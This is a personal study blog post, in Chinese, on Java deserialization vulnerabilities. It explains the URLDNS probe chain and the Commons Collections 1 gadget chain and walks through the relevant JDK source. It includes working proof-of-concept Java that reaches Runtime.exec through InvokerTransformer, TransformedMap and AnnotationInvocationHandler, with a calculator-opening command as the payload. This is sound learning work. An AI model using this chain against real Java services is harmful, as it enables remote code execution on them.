java 安全学习笔记

Java反序列化漏洞学习 Commons Collection

参考了这位博主的文章

1
https://tttang.com/archive/1337/

题外话是最近参加hvv,太坐牢了爬回来学会java回回血说是((

环境搭建

在学习Commons Collection利用链之前我们需要先搭建好调试环境,第一步就是安装JDK和maven了这里我推荐多安装多几个版本的JDK,因为有的利用会有版本的限制,我们在分析这些利用链是需要切换指定的JDK。安装好JDK和maven后需要配置好idea的环境,然后需要克隆ysoserial的源码下来,之后的调试我们会在ysoserial的项目中进行,因为ysoserial中配好了我们所需要的库环境,我们只需要利用maven将各种包导入即可。最后就是在项目中创建好我们的测试文件夹。

URLDNS

URLDNS利用链是java反序列化攻击中一种非常经典的“无回显”探测链,用于探测目标是否存在反序列化漏洞,利用的是URL和HashMap的特性,触发一次DNS请求。

核心原理是:
1、java的URL类在HashCOde()时会尝试解析主机名
2、如果这个URL被用作HashMap的key,就会自动触发hashcode()
3、一旦触发,系统会向DNS发起请求解析主机名
4、如果这个主机名是攻击者控制的(比如 xyz.attacker.com),DNS 请求就会到达攻击者的服务器

调用链如下:
Gadget Chain:

  • HashMap.readObject()
    
  •   HashMap.putVal()
    
  •     HashMap.hash()
    
  •       URL.hashCode()
    

Commons Collections1

transformer

首先找到commons-collections包的一个接口transformer,有一个transform方法

ConstantTransformer


查找到用法

定位到ConstantTransformer

ConstantTransformer是实现了transformer接口的一个类,构造方法传入一个对象然后transform方法返回对象。

InvokerTransformer

同样的做法


定位到InvokerTransformer包

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

InvokerTransformer是实现了Transformer接口的一个类,InvokerTransformer构造方法传入了3个变量,分别是String类型的方法,一个Clas类型的参数类型列表,还有一个Object类型的参数值列表。

关键在于这段代码

1
2
3
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

通过分析这个类的transform方法可以调用任意方法,这是反序列化能执行任意代码的关键。

仿照文章写一个简单的例子:



反弹成功

ChainedTransformer

反序列化中可以利用InvokerTransformer执行任意对象的任意方法,但在反序列化中我们不能直接传入Runtime对象,因为Runtime类没有实现Serializable接口不能被序列化,如果可以多次调用方法,可以使用Runtime类的getRuntime方法获取Runtime实例。

ChainedTransformer也是实现了Transformer接口的一个类,构造方法传入一个transformer数组。

transform方法遍历执行所有transformer数组的transform方法,且前一个的结果做为后一个的输入,我们可以传入多个InvokerTransformer对象,可以执行多次任意方法。

利用ChainedTransformer改进InvokerTransformer执行命令。使用getMethod方法获得Runtime类的getRumtime方法,之后通过调用Method的invoke方法执行getRumtime获取Runtime实例,最后调用Runtime的exec方法执行系统命令。

利用这个点写出利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.InvocationTargetException;

public class InvokerTransformerDemo {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator "})
};
ChainedTransformer ct = new ChainedTransformer(transformer);
ct.transform(new Object());
}
}

执行结果:

TransformedMap

有了执行命令的链我们要看一下有没有什么方法可以自动调用类的transform方法,找到一个TransformedMap类。

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。构造方法为protected类型,创建对象需要使用decorate方法创建对象。decorate传入一个Map和两个transformer对象,用于将一个普通的Map对象修饰成TransformedMap对象。

TransformedMap分别有3个方法调用了transform。


没看到有地方会直接调用transformKey和transformValue,但是查看注释可以发现当调用setValue时会自动调用checkSetValue方法,但是在TransformedMap中没有方向有setValue方法,查看TransformedMap的父类(AbstractInputCheckedMapDecorator)发现setValue方法。

这里理解一下这段关系:
TransformedMap继承了AbstractInputCheckedMapDecorator
可以使用其中的setValue方法

this.parent就是TransformedMap,AbstractInputCheckedMapDecorator的根父类就是 Map,所以只要找到readObject中调用了Map.setValue即可完成反序列化利用链

AnnotationInvocationHandler

可以看到AnnotationInvocationHandler的readObject方法调用了setValue方法,我们只需要让他反序列化满足上面的条件进入到setValue即可。
(不知道为什么我这里定位不到这个类的源码,这里先跟着文章图片参考一下)))))))

先来看一下到达setValue的条件,先来看一下构造函数。

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class<?>[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

Class<? extends Annotation> var1:
var1 是一个 Class 对象,表示一个注解类型。
<? extends Annotation> 表示 var1 必须是 Annotation 接口的子类型(即一个注解类)。

Map<String, Object> var2:
var2 是一个 Map,键是字符串(注解的成员名),值是对象(注解的成员值)。

1
Class<?>[] var3 = var1.getInterfaces();

var1.getInterfaces() 返回 var1 实现的接口数组。

1
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) 

var1.isAnnotation():
检查 var1 是否是一个注解类型。
Class.isAnnotation() 方法返回 true,如果 var1 是一个注解类(用 @interface 定义)。

var3.length == 1:
检查 var1 实现的接口数量是否为 1。
注解类通常只实现一个接口:Annotation。

var3[0] == Annotation.class:
检查 var1 实现的唯一接口是否是 Annotation.class。

确保 var1 是一个合法的注解类型:
它必须是一个注解(isAnnotation())。
它只实现 Annotation 接口(length == 1 且 var3[0] == Annotation.class)。

1
2
this.type = var1;
this.memberValues = var2;

如果条件满足,说明 var1 是一个合法的注解类型。

将 var1 赋值给 this.type(表示注解的类型)。

将 var2 赋值给 this.memberValues(表示注解的成员值)。

可以看到第一个参数指定var1必须是Annotation的子类,第二个参数是传入一个Map类型的var2。将var1赋值给成员变量type然后将var赋值给成员变量memberValues。然后看readObject要触发setValue的条件。

看readObject函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var5) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> var3 = var2.memberTypes();

for (Map.Entry<String, Object> var5 : this.memberValues.entrySet()) {
String var6 = var5.getKey();
Class<?> var7 = var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember(var2.members().get(var6)));
}
}
}
}

看到这条语句AnnotationType.getInstance(this.type),var0为我们构造函数传入的vaar0。

setValue 被调用的条件:
成员名(var6)在注解定义中存在(var7 != null)。

成员值(var8)的类型不匹配(!var7.isInstance(var8))。

成员值不是 ExceptionProxy(!(var8 instanceof ExceptionProxy))。

查看getInstance函数:

1
JavaLangAccess var1 = SharedSecrets.getJavaLangAccess();

通过SharedSecrets获取JavaLangAccess实例。这通常用于访问JAVA内部API,JavaLangAccess是一个接口,提供一些JAVA底层的功能

1
AnnotationType var2 = var1.getAnnotationType(var0);

通过调用Var1(JavaLangAccess实例)的getAnnotationType(var0)方法,尝试获取var0(传入的 Annotation 类型)对应的 AnnotationType 实例。

如果获取不到,则创建新的 AnnotationType:

1
2
3
4
5
6
7
8
if (var2 == null) {
var2 = new AnnotationType(var0);
if (!var1.casAnnotationType(var0, (AnnotationType)null, var2)) {
var2 = var1.getAnnotationType(var0);

assert var2 != null;
}
}

接着跟到AnonotationType的构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

private AnnotationType(final Class<? extends Annotation> var1) {
if (!var1.isAnnotation()) {
throw new IllegalArgumentException("Not an annotation type");
} else {
Method[] var2 = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
return var1.getDeclaredMethods();
}
});
this.memberTypes = new HashMap(var2.length + 1, 1.0F);
this.memberDefaults = new HashMap(0);
this.members = new HashMap(var2.length + 1, 1.0F);
Method[] var3 = var2;
int var4 = var2.length;

for(int var5 = 0; var5 < var4; ++var5) {
Method var6 = var3[var5];
if (Modifier.isPublic(var6.getModifiers()) && Modifier.isAbstract(var6.getModifiers()) && !var6.isSynthetic()) {
if (var6.getParameterTypes().length != 0) {
throw new IllegalArgumentException(var6 + " has params");
}

String var7 = var6.getName();
Class var8 = var6.getReturnType();
this.memberTypes.put(var7, invocationHandlerReturnType(var8));
this.members.put(var7, var6);
Object var9 = var6.getDefaultValue();
if (var9 != null) {
this.memberDefaults.put(var7, var9);
}
}
}

if (var1 != Retention.class && var1 != Inherited.class) {
JavaLangAccess var10 = SharedSecrets.getJavaLangAccess();
Map var11 = AnnotationParser.parseSelectAnnotations(var10.getRawClassAnnotations(var1), var10.getConstantPool(var1), var1, new Class[]{Retention.class, Inherited.class});
Retention var12 = (Retention)var11.get(Retention.class);
this.retention = var12 == null ? RetentionPolicy.CLASS : var12.value();
this.inherited = var11.containsKey(Inherited.class);
} else {
this.retention = RetentionPolicy.RUNTIME;
this.inherited = false;
}

}
}

这段代码创建了一个 AnnotationType 实例,并做了以下工作:

确保传入的是一个合法的注解类型。

获取该注解的所有成员方法,并检查它们是否符合注解方法的要求(如无参数,且是公共抽象方法)。

提取和保存注解的成员信息(方法、返回类型、默认值等)。

处理注解的特殊属性,如 Retention 和 Inherited。

Retention

Retention为Annotation的一个子类且有一个value的方法。

那么我们只要AnnotationInvocationHandler第一个参数传入Retention,然后Map加入一个value为键的entry即可。

这里不太理解原理,查了一下:

  1. Retention 注解:Retention 是 Java 中的一个元注解,它用于指定注解的生命周期。Retention 注解本身是 Annotation 的子类,并且它有一个 value 方法,表示注解的保留策略(如:SOURCE, CLASS, RUNTIME)。

  2. AnnotationInvocationHandler 的工作机制:AnnotationInvocationHandler是用来处理注解实例的方法调用的,他主要是通过反射来处理注解接口的方法调用,通常是注解是接口,在编译是生成的类会通过InvocationHandler 来代理这些接口方法的调用。
    当我们创建一个注解的实例时,例如@Retention ,这个实例是通过代理模式创建的,AnnotationInvocationHandler 会代理 Retention 注解的所有方法,包括 value() 方法。

  3. Map 中的 value 方法:
    在 AnnotationInvocationHandler 中,注解的成员方法(如 Retention 的 value() 方法)会被映射到一个 Map 中,通常是将方法名作为键(例如 “value”),方法的实现或返回值作为值。这就解释了为什么 value 方法会作为键添加到 Map 中。

  4. setValues 的作用:
    setValues 方法通常用于设置注解的属性值。当我们通过AnnotationInvocationHandler 处理注解时,它会根据注解的定义和方法(比如 value() 方法),动态地生成值并将其放入 Map 中。由于 value 方法是 Retention 注解的成员方法之一,AnnotationInvocationHandler 会通过反射来访问并调用它,然后把 value 方法的返回值(RetentionPolicy)放入 Map 中。

构造poc

终于到了激动人心的时刻:

1.构造恶意的Transformer
2.构造transformedMap
3.构造AnnotationInvocationHandler,因为AnnotationInvocationHandler的构造方法没有写限定符默认为default,只能同个包内访问,所以需要利用反射获取构造方法。

同样是解析一下代码:

1
2
3
4
5
6
7
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

这个 transformer 数组由四个 Transformer 对象组成。Transformer 是一种功能,它通常用于将输入对象转换为另一个对象。

ConstantTransformer:首先,它将输入对象转为 Runtime.class,也就是 Java 的 Runtime 类。

InvokerTransformer (“getMethod”):接着,使用反射来调用 getMethod 方法,目标是获取 Runtime.getRuntime 方法。

InvokerTransformer (“invoke”):然后,使用反射来调用 invoke 方法,即实际执行 getRuntime(),返回 Runtime 的实例。

InvokerTransformer (“exec”):最后,调用 exec 方法执行一个操作。在这里,它执行的是 open -a Calculator,这将打开计算器。

1
2
3
Map innermap = new HashMap();
innermap.put("value", "lsf");
Map outermap = TransformedMap.decorate(innermap, null, ct);

这段代码创建了一个 Map(innermap),并将 value 键映射到一个任意的字符串 “lsf”。

接着,TransformedMap.decorate() 方法将原始的 innermap 包装为一个新 Map,这个新的 Map 使用了前面定义的 ChainedTransformer 进行变换。简单来说,它将映射中的每个值都经过 transformer 数组中的变换器处理。

这个 outermap 就是一个特殊的 Map,它的操作被 ChainedTransformer 转换成了触发计算器打开的反射调用。

1
2
3
4
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outermap);

这里通过 Reflection 获取了 AnnotationInvocationHandler 类并调用了其构造函数,将 Retention.class 和 outermap(包含恶意变换器的 Map)作为参数传入。

AnnotationInvocationHandler 的实例 handler 就是这个恶意注解对象的处理器。接下来,它会根据注解的方法调用,通过代理来执行实际的操作。

1
2
3
4
5
6
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();

这段代码将 handler(即 AnnotationInvocationHandler 对象)写入一个 ByteArrayOutputStream 中进行序列化。序列化是将对象转换为字节流的过程。

然后,通过反序列化的方式,将之前序列化的 handler 对象读回内存。反序列化的过程中,handler 会被重新构造,触发它内部的恶意操作。

调用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

总结

感觉我学的还是比较青涩的,这个链子作为反序列化学习的敲门砖,希望后面有机会可以不参考文章自己重新梳理一下